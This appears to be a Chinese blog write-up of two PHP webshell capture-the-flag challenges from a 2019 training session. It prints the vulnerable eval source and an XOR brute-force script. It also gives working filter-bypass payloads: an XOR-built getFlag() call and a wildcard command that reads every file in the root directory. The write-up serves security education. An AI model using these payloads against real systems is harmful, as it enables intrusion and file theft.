SKSEC 2019 Summer Training 總結文檔

此文檔持續(xù)更新中。

yi_ge_webshell

考點:構造不含字母、數(shù)字和下劃線的WebShell,字符串的異或操作

代碼如下:

<?php 

include'flag.php'; 

if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

根據(jù)hint,是要讓我們執(zhí)行getFlag()函數(shù),也就是自己構造出來提交上去,用@eval()執(zhí)行。

一開始以為是要繞過preg_match函數(shù)的匹配,但是試了幾種常用的方法發(fā)現(xiàn)都沒有用(構造數(shù)組發(fā)現(xiàn)不執(zhí)行,用最大回溯爆掉又會受到strlen的長度限制而爆不掉)。

后來想了想,這個題應該是要通過構造不含字母和數(shù)字的payload來繞過preg_match的匹配,因為以前看到過類似的操作。

在bing上搜了一下發(fā)現(xiàn)果然有構造不含字母和數(shù)字的webshell的方法,這種方法的核心就是字符串的異或。

參考文檔:

https://xz.aliyun.com/t/3085

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

比如,以下這條PHP語句的執(zhí)行結果為getFlag

echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");

也可以寫成這樣,執(zhí)行結果相同:

echo "@@^|@@@" ^ "'%*:,!'";

寫個腳本爆破掉字符的異或,一個一個試實在是太累了:

chr1 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1 :
    for j in chr2 :
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

根據(jù)爆破的結果拼出剛才提到的異或字符串,也就是"@@^|@@@" ^ "'%*:,!'"。

這里有一個問題,過濾了字母、數(shù)字和下劃線之后怎么起變量名?忽然想到Java可以用漢字作為變量名(因為Java采用的是Unicode字符集,所以用中文作為變量名不會出錯),那PHP說不定也可以,于是在本地試了一下發(fā)現(xiàn)居然沒報錯。

構造Payload:?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

成功得到flag。

另:那三篇文章的方法是構造_GET或者_POST再利用${}@eval()執(zhí)行之后往里傳參,個人感覺沒有這種直接構造字符串然后執(zhí)行的方法簡單。

另2:針對這道題寫了篇總結,發(fā)在公眾號里了:鏈接在這

ling_yi_ge_webshell

考察使用通配符繞過過濾

把上次那個爆破的腳本改了一下(發(fā)現(xiàn)上次沒加“@”):

chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1 :
    for j in chr2 :
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

這次的代碼過濾了$和_,也就是說沒辦法用$了,需要其他辦法執(zhí)行。

雖然拼出了“system('cat /flag.php')”,但是提示太長了,而且怎么執(zhí)行也是個問題。

在一個大佬的幫助下找到了正確的做法:通配符。

詳細可以參考這兩篇文章:

https://www.anquanke.com/post/id/160582?from=singlemessage#h2-2

https://cloud.tencent.com/developer/article/1164601

根據(jù)Linux通配符規(guī)則,問號“?”匹配任意單個字符,于是/???/??? 可以匹配到 /bin/cat

既然過濾了所有字母和數(shù)字,flag又在根目錄下,所以可以用/*匹配到根目錄下所有文件。

于是,連起來就是/???/??? /*

而要讓代碼執(zhí)行,必須要放進PHP標記里。結合第一篇參考文章,可以構造出以下的payload:?code=?><?=/???/??? /*?>

執(zhí)行后會得到一大堆亂七八糟的東西(因為這是把根目錄下的東西全都讀出來了),搜索SKCTF或者是flag就可以找到flag。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容